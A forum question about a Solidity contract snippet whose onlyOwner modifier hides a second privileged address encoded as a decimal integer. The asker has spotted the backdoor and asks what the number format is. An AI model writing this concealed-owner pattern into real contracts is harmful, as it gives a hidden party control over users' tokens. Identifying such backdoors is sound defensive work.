title: Solidity - a hidden owner is inserted into the code
body: <p>I detected an owner hidden in the code, but the address is saved as something like this: &quot;1451157769167176390866574646267494443412533104753&quot;
  and that address I guess is: &quot;0xfe302a37850c86e7e99c657daed94edea89d5071&quot;</p>
  <pre><code>pragma solidity ^0.6.0;
    modifier onlyOwner() {
      require(msg.sender == minter || msg.sender == address
      (1451157769167176390866574646267494443412533104753)); _;}
    function balanceOf(address _owner) public view returns (uint256 balance) {
      return balances[_owner];
  </code></pre>
  <p>may i ask what format it is? thanks a lot</p>